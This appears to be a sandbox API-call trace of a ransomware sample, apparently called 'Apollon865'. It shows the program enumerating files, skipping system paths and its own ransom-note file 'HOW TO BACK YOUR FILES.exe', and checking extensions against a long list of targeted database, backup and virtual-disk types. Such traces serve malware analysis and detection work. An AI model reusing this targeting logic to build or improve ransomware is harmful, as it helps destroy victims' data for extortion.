	[0046.383] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x33b8cbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b8cbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.384] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.384] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.384] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.384] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.384] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2=".") returned 1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="..") returned 1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="windows") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="bootmgr") returned 1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="temp") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="pagefile.sys") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="boot") returned 1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="ids.txt") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="ntuser.dat") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="perflogs") returned -1
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2="MSBuild") returned -1
	[0046.384] lstrlenW (lpString="FRMCACHE.DAT") returned 12
	[0046.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*") returned 61
	[0046.384] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="FRMCACHE.DAT" | out: lpString1="FRMCACHE.DAT") returned="FRMCACHE.DAT"
	[0046.384] lstrlenW (lpString="FRMCACHE.DAT") returned 12
	[0046.384] lstrlenW (lpString="Apollon865") returned 10
	[0046.384] lstrcmpiW (lpString1="MCACHE.DAT", lpString2="Apollon865") returned 1
	[0046.384] lstrlenW (lpString=".dll") returned 4
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2=".dll") returned 1
	[0046.384] lstrlenW (lpString=".lnk") returned 4
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2=".lnk") returned 1
	[0046.384] lstrlenW (lpString=".ini") returned 4
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2=".ini") returned 1
	[0046.384] lstrlenW (lpString=".sys") returned 4
	[0046.384] lstrcmpiW (lpString1="FRMCACHE.DAT", lpString2=".sys") returned 1
	[0046.384] lstrlenW (lpString="FRMCACHE.DAT") returned 12
	[0046.384] lstrlenW (lpString="bak") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="bak") returned 1
	[0046.385] lstrlenW (lpString="ba_") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="ba_") returned 1
	[0046.385] lstrlenW (lpString="dbb") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="dbb") returned -1
	[0046.385] lstrlenW (lpString="vmdk") returned 4
	[0046.385] lstrcmpiW (lpString1=".DAT", lpString2="vmdk") returned -1
	[0046.385] lstrlenW (lpString="rar") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="rar") returned -1
	[0046.385] lstrlenW (lpString="zip") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="zip") returned -1
	[0046.385] lstrlenW (lpString="tgz") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="tgz") returned -1
	[0046.385] lstrlenW (lpString="vbox") returned 4
	[0046.385] lstrcmpiW (lpString1=".DAT", lpString2="vbox") returned -1
	[0046.385] lstrlenW (lpString="vdi") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="vdi") returned -1
	[0046.385] lstrlenW (lpString="vhd") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="vhd") returned -1
	[0046.385] lstrlenW (lpString="vhdx") returned 4
	[0046.385] lstrcmpiW (lpString1=".DAT", lpString2="vhdx") returned -1
	[0046.385] lstrlenW (lpString="avhd") returned 4
	[0046.385] lstrcmpiW (lpString1=".DAT", lpString2="avhd") returned -1
	[0046.385] lstrlenW (lpString="db") returned 2
	[0046.385] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0046.385] lstrlenW (lpString="db2") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="db2") returned -1
	[0046.385] lstrlenW (lpString="db3") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="db3") returned -1
	[0046.385] lstrlenW (lpString="dbf") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="dbf") returned -1
	[0046.385] lstrlenW (lpString="mdf") returned 3
	[0046.385] lstrcmpiW (lpString1="DAT", lpString2="mdf") returned -1
	[0046.386] lstrlenW (lpString="mdb") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="mdb") returned -1
	[0046.386] lstrlenW (lpString="sql") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="sql") returned -1
	[0046.386] lstrlenW (lpString="sqlite") returned 6
	[0046.386] lstrcmpiW (lpString1="HE.DAT", lpString2="sqlite") returned -1
	[0046.386] lstrlenW (lpString="sqlite3") returned 7
	[0046.386] lstrcmpiW (lpString1="CHE.DAT", lpString2="sqlite3") returned -1
	[0046.386] lstrlenW (lpString="sqlitedb") returned 8
	[0046.386] lstrcmpiW (lpString1="ACHE.DAT", lpString2="sqlitedb") returned -1
	[0046.386] lstrlenW (lpString="xml") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="xml") returned -1
	[0046.386] lstrlenW (lpString="$er") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="$er") returned 1
	[0046.386] lstrlenW (lpString="4dd") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="4dd") returned 1
	[0046.386] lstrlenW (lpString="4dl") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="4dl") returned 1
	[0046.386] lstrlenW (lpString="^^^") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="^^^") returned 1
	[0046.386] lstrlenW (lpString="abs") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="abs") returned 1
	[0046.386] lstrlenW (lpString="abx") returned 3
	[0046.386] lstrcmpiW (lpString1="DAT", lpString2="abx") returned 1
	[0046.386] lstrlenW (lpString="accdb") returned 5
	[0046.386] lstrcmpiW (lpString1="E.DAT", lpString2="accdb") returned 1
	[0046.386] lstrlenW (lpString="accdc") returned 5
	[0046.386] lstrcmpiW (lpString1="E.DAT", lpString2="accdc") returned 1
	[0046.386] lstrlenW (lpString="accde") returned 5
	[0046.386] lstrcmpiW (lpString1="E.DAT", lpString2="accde") returned 1
	[0046.386] lstrlenW (lpString="accdr") returned 5
	[0046.386] lstrcmpiW (lpString1="E.DAT", lpString2="accdr") returned 1
	[0046.386] lstrlenW (lpString="accdt") returned 5
	[0046.386] lstrcmpiW (lpString1="E.DAT", lpString2="accdt") returned 1
	[0046.387] lstrlenW (lpString="accdw") returned 5
	[0046.387] lstrcmpiW (lpString1="E.DAT", lpString2="accdw") returned 1
	[0046.387] lstrlenW (lpString="accft") returned 5
	[0046.387] lstrcmpiW (lpString1="E.DAT", lpString2="accft") returned 1
	[0046.387] lstrlenW (lpString="adb") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1
	[0046.387] lstrlenW (lpString="adb") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1
	[0046.387] lstrlenW (lpString="ade") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="ade") returned 1
	[0046.387] lstrlenW (lpString="adf") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="adf") returned 1
	[0046.387] lstrlenW (lpString="adn") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="adn") returned 1
	[0046.387] lstrlenW (lpString="adp") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="adp") returned 1
	[0046.387] lstrlenW (lpString="alf") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="alf") returned 1
	[0046.387] lstrlenW (lpString="ask") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="ask") returned 1
	[0046.387] lstrlenW (lpString="btr") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="btr") returned 1
	[0046.387] lstrlenW (lpString="cat") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="cat") returned 1
	[0046.387] lstrlenW (lpString="cdb") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="cdb") returned 1
	[0046.387] lstrlenW (lpString="ckp") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="ckp") returned 1
	[0046.387] lstrlenW (lpString="cma") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="cma") returned 1
	[0046.387] lstrlenW (lpString="cpd") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="cpd") returned 1
	[0046.387] lstrlenW (lpString="dacpac") returned 6
	[0046.387] lstrcmpiW (lpString1="HE.DAT", lpString2="dacpac") returned 1
	[0046.387] lstrlenW (lpString="dad") returned 3
	[0046.387] lstrcmpiW (lpString1="DAT", lpString2="dad") returned 1
	[0046.388] lstrlenW (lpString="dadiagrams") returned 10
	[0046.388] lstrcmpiW (lpString1="MCACHE.DAT", lpString2="dadiagrams") returned 1
	[0046.388] lstrlenW (lpString="daschema") returned 8
	[0046.388] lstrcmpiW (lpString1="ACHE.DAT", lpString2="daschema") returned -1
	[0046.388] lstrlenW (lpString="db-journal") returned 10
	[0046.388] lstrcmpiW (lpString1="MCACHE.DAT", lpString2="db-journal") returned 1
	[0046.388] lstrlenW (lpString="db-shm") returned 6
	[0046.388] lstrcmpiW (lpString1="HE.DAT", lpString2="db-shm") returned 1
	[0046.388] lstrlenW (lpString="db-wal") returned 6
	[0046.388] lstrcmpiW (lpString1="HE.DAT", lpString2="db-wal") returned 1
	[0046.388] lstrlenW (lpString="dbc") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dbc") returned -1
	[0046.388] lstrlenW (lpString="dbs") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dbs") returned -1
	[0046.388] lstrlenW (lpString="dbt") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dbt") returned -1
	[0046.388] lstrlenW (lpString="dbv") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dbv") returned -1
	[0046.388] lstrlenW (lpString="dbx") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dbx") returned -1
	[0046.388] lstrlenW (lpString="dcb") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dcb") returned -1
	[0046.388] lstrlenW (lpString="dct") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dct") returned -1
	[0046.388] lstrlenW (lpString="dcx") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dcx") returned -1
	[0046.388] lstrlenW (lpString="ddl") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="ddl") returned -1
	[0046.388] lstrlenW (lpString="dlis") returned 4
	[0046.388] lstrcmpiW (lpString1=".DAT", lpString2="dlis") returned -1
	[0046.388] lstrlenW (lpString="dp1") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dp1") returned -1
	[0046.388] lstrlenW (lpString="dqy") returned 3
	[0046.388] lstrcmpiW (lpString1="DAT", lpString2="dqy") returned -1
	[0046.388] lstrlenW (lpString="dsk") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="dsk") returned -1
	[0046.389] lstrlenW (lpString="dsn") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="dsn") returned -1
	[0046.389] lstrlenW (lpString="dtsx") returned 4
	[0046.389] lstrcmpiW (lpString1=".DAT", lpString2="dtsx") returned -1
	[0046.389] lstrlenW (lpString="dxl") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="dxl") returned -1
	[0046.389] lstrlenW (lpString="eco") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="eco") returned -1
	[0046.389] lstrlenW (lpString="ecx") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="ecx") returned -1
	[0046.389] lstrlenW (lpString="edb") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="edb") returned -1
	[0046.389] lstrlenW (lpString="epim") returned 4
	[0046.389] lstrcmpiW (lpString1=".DAT", lpString2="epim") returned -1
	[0046.389] lstrlenW (lpString="fcd") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="fcd") returned -1
	[0046.389] lstrlenW (lpString="fdb") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="fdb") returned -1
	[0046.389] lstrlenW (lpString="fic") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="fic") returned -1
	[0046.389] lstrlenW (lpString="flexolibrary") returned 12
	[0046.389] lstrlenW (lpString="fm5") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="fm5") returned -1
	[0046.389] lstrlenW (lpString="fmp") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="fmp") returned -1
	[0046.389] lstrlenW (lpString="fmp12") returned 5
	[0046.389] lstrcmpiW (lpString1="E.DAT", lpString2="fmp12") returned -1
	[0046.389] lstrlenW (lpString="fmpsl") returned 5
	[0046.389] lstrcmpiW (lpString1="E.DAT", lpString2="fmpsl") returned -1
	[0046.389] lstrlenW (lpString="fol") returned 3
	[0046.389] lstrcmpiW (lpString1="DAT", lpString2="fol") returned -1
	[0046.389] lstrlenW (lpString="fp3") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="fp3") returned -1
	[0046.390] lstrlenW (lpString="fp4") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="fp4") returned -1
	[0046.390] lstrlenW (lpString="fp5") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="fp5") returned -1
	[0046.390] lstrlenW (lpString="fp7") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="fp7") returned -1
	[0046.390] lstrlenW (lpString="fpt") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="fpt") returned -1
	[0046.390] lstrlenW (lpString="frm") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="frm") returned -1
	[0046.390] lstrlenW (lpString="gdb") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1
	[0046.390] lstrlenW (lpString="gdb") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1
	[0046.390] lstrlenW (lpString="grdb") returned 4
	[0046.390] lstrcmpiW (lpString1=".DAT", lpString2="grdb") returned -1
	[0046.390] lstrlenW (lpString="gwi") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="gwi") returned -1
	[0046.390] lstrlenW (lpString="hdb") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="hdb") returned -1
	[0046.390] lstrlenW (lpString="his") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="his") returned -1
	[0046.390] lstrlenW (lpString="ib") returned 2
	[0046.390] lstrcmpiW (lpString1="AT", lpString2="ib") returned -1
	[0046.390] lstrlenW (lpString="idb") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="idb") returned -1
	[0046.390] lstrlenW (lpString="ihx") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="ihx") returned -1
	[0046.390] lstrlenW (lpString="itdb") returned 4
	[0046.390] lstrcmpiW (lpString1=".DAT", lpString2="itdb") returned -1
	[0046.390] lstrlenW (lpString="itw") returned 3
	[0046.390] lstrcmpiW (lpString1="DAT", lpString2="itw") returned -1
	[0046.390] lstrlenW (lpString="jet") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="jet") returned -1
	[0046.391] lstrlenW (lpString="jtx") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="jtx") returned -1
	[0046.391] lstrlenW (lpString="kdb") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="kdb") returned -1
	[0046.391] lstrlenW (lpString="kexi") returned 4
	[0046.391] lstrcmpiW (lpString1=".DAT", lpString2="kexi") returned -1
	[0046.391] lstrlenW (lpString="kexic") returned 5
	[0046.391] lstrcmpiW (lpString1="E.DAT", lpString2="kexic") returned -1
	[0046.391] lstrlenW (lpString="kexis") returned 5
	[0046.391] lstrcmpiW (lpString1="E.DAT", lpString2="kexis") returned -1
	[0046.391] lstrlenW (lpString="lgc") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="lgc") returned -1
	[0046.391] lstrlenW (lpString="lwx") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="lwx") returned -1
	[0046.391] lstrlenW (lpString="maf") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="maf") returned -1
	[0046.391] lstrlenW (lpString="maq") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="maq") returned -1
	[0046.391] lstrlenW (lpString="mar") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="mar") returned -1
	[0046.391] lstrlenW (lpString="marshal") returned 7
	[0046.391] lstrcmpiW (lpString1="CHE.DAT", lpString2="marshal") returned -1
	[0046.391] lstrlenW (lpString="mas") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="mas") returned -1
	[0046.391] lstrlenW (lpString="mav") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="mav") returned -1
	[0046.391] lstrlenW (lpString="maw") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="maw") returned -1
	[0046.391] lstrlenW (lpString="mdbhtml") returned 7
	[0046.391] lstrcmpiW (lpString1="CHE.DAT", lpString2="mdbhtml") returned -1
	[0046.391] lstrlenW (lpString="mdn") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="mdn") returned -1
	[0046.391] lstrlenW (lpString="mdt") returned 3
	[0046.391] lstrcmpiW (lpString1="DAT", lpString2="mdt") returned -1
	[0046.392] lstrlenW (lpString="mfd") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="mfd") returned -1
	[0046.392] lstrlenW (lpString="mpd") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="mpd") returned -1
	[0046.392] lstrlenW (lpString="mrg") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="mrg") returned -1
	[0046.392] lstrlenW (lpString="mud") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="mud") returned -1
	[0046.392] lstrlenW (lpString="mwb") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="mwb") returned -1
	[0046.392] lstrlenW (lpString="myd") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="myd") returned -1
	[0046.392] lstrlenW (lpString="ndf") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="ndf") returned -1
	[0046.392] lstrlenW (lpString="nnt") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="nnt") returned -1
	[0046.392] lstrlenW (lpString="nrmlib") returned 6
	[0046.392] lstrcmpiW (lpString1="HE.DAT", lpString2="nrmlib") returned -1
	[0046.392] lstrlenW (lpString="ns2") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="ns2") returned -1
	[0046.392] lstrlenW (lpString="ns3") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="ns3") returned -1
	[0046.392] lstrlenW (lpString="ns4") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="ns4") returned -1
	[0046.392] lstrlenW (lpString="nsf") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="nsf") returned -1
	[0046.392] lstrlenW (lpString="nv") returned 2
	[0046.392] lstrcmpiW (lpString1="AT", lpString2="nv") returned -1
	[0046.392] lstrlenW (lpString="nv2") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="nv2") returned -1
	[0046.392] lstrlenW (lpString="nwdb") returned 4
	[0046.392] lstrcmpiW (lpString1=".DAT", lpString2="nwdb") returned -1
	[0046.392] lstrlenW (lpString="nyf") returned 3
	[0046.392] lstrcmpiW (lpString1="DAT", lpString2="nyf") returned -1
	[0046.392] lstrlenW (lpString="odb") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1
	[0046.393] lstrlenW (lpString="odb") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1
	[0046.393] lstrlenW (lpString="oqy") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="oqy") returned -1
	[0046.393] lstrlenW (lpString="ora") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="ora") returned -1
	[0046.393] lstrlenW (lpString="orx") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="orx") returned -1
	[0046.393] lstrlenW (lpString="owc") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="owc") returned -1
	[0046.393] lstrlenW (lpString="p96") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="p96") returned -1
	[0046.393] lstrlenW (lpString="p97") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="p97") returned -1
	[0046.393] lstrlenW (lpString="pan") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="pan") returned -1
	[0046.393] lstrlenW (lpString="pdb") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="pdb") returned -1
	[0046.393] lstrlenW (lpString="pdm") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="pdm") returned -1
	[0046.393] lstrlenW (lpString="pnz") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="pnz") returned -1
	[0046.393] lstrlenW (lpString="qry") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="qry") returned -1
	[0046.393] lstrlenW (lpString="qvd") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="qvd") returned -1
	[0046.393] lstrlenW (lpString="rbf") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="rbf") returned -1
	[0046.393] lstrlenW (lpString="rctd") returned 4
	[0046.393] lstrcmpiW (lpString1=".DAT", lpString2="rctd") returned -1
	[0046.393] lstrlenW (lpString="rod") returned 3
	[0046.393] lstrcmpiW (lpString1="DAT", lpString2="rod") returned -1
	[0046.394] lstrlenW (lpString="rodx") returned 4
	[0046.394] lstrcmpiW (lpString1=".DAT", lpString2="rodx") returned -1
	[0046.394] lstrlenW (lpString="rpd") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="rpd") returned -1
	[0046.394] lstrlenW (lpString="rsd") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="rsd") returned -1
	[0046.394] lstrlenW (lpString="sas7bdat") returned 8
	[0046.394] lstrcmpiW (lpString1="ACHE.DAT", lpString2="sas7bdat") returned -1
	[0046.394] lstrlenW (lpString="sbf") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="sbf") returned -1
	[0046.394] lstrlenW (lpString="scx") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="scx") returned -1
	[0046.394] lstrlenW (lpString="sdb") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="sdb") returned -1
	[0046.394] lstrlenW (lpString="sdc") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="sdc") returned -1
	[0046.394] lstrlenW (lpString="sdf") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="sdf") returned -1
	[0046.394] lstrlenW (lpString="sis") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="sis") returned -1
	[0046.394] lstrlenW (lpString="spq") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="spq") returned -1
	[0046.394] lstrlenW (lpString="te") returned 2
	[0046.394] lstrcmpiW (lpString1="AT", lpString2="te") returned -1
	[0046.394] lstrlenW (lpString="teacher") returned 7
	[0046.394] lstrcmpiW (lpString1="CHE.DAT", lpString2="teacher") returned -1
	[0046.394] lstrlenW (lpString="tmd") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="tmd") returned -1
	[0046.394] lstrlenW (lpString="tps") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="tps") returned -1
	[0046.394] lstrlenW (lpString="trc") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1
	[0046.394] lstrlenW (lpString="trc") returned 3
	[0046.394] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1
	[0046.395] lstrlenW (lpString="trm") returned 3
	[0046.395] lstrcmpiW (lpString1="DAT", lpString2="trm") returned -1
	[0046.395] lstrlenW (lpString="udb") returned 3
	[0046.395] lstrcmpiW (lpString1="DAT", lpString2="udb") returned -1
	[0046.395] lstrlenW (lpString="udl") returned 3
	[0046.395] lstrcmpiW (lpString1="DAT", lpString2="udl") returned -1
	[0046.395] lstrlenW (lpString="usr") returned 3
	[0046.395] lstrcmpiW (lpString1="DAT", lpString2="usr") returned -1
	[0046.395] lstrlenW (lpString="v12") returned 3
	[0046.395] lstrcmpiW (lpString1="DAT", lpString2="v12") returned -1
	[0046.395] lstrlenW (lpString="vis") returned 3
	[0046.395] lstrcmpiW (lpString1="DAT", lpString2="vis") returned -1
	[0046.396] lstrlenW (lpString="vpd") returned 3
	[0046.396] lstrcmpiW (lpString1="DAT", lpString2="vpd") returned -1
	[0046.396] lstrlenW (lpString="vvv") returned 3
	[0046.396] lstrcmpiW (lpString1="DAT", lpString2="vvv") returned -1
	[0046.396] lstrlenW (lpString="wdb") returned 3
	[0046.396] lstrcmpiW (lpString1="DAT", lpString2="wdb") returned -1
	[0046.396] lstrlenW (lpString="wmdb") returned 4
	[0046.396] lstrcmpiW (lpString1=".DAT", lpString2="wmdb") returned -1
	[0046.396] lstrlenW (lpString="wrk") returned 3
	[0046.396] lstrcmpiW (lpString1="DAT", lpString2="wrk") returned -1
	[0046.396] lstrlenW (lpString="xdb") returned 3
	[0046.396] lstrcmpiW (lpString1="DAT", lpString2="xdb") returned -1
	[0046.396] lstrlenW (lpString="xld") returned 3
	[0046.396] lstrcmpiW (lpString1="DAT", lpString2="xld") returned -1
	[0046.396] lstrlenW (lpString="xmlff") returned 5
	[0046.396] lstrcmpiW (lpString1="E.DAT", lpString2="xmlff") returned -1
	[0046.396] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b8cbd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b8cbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.396] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
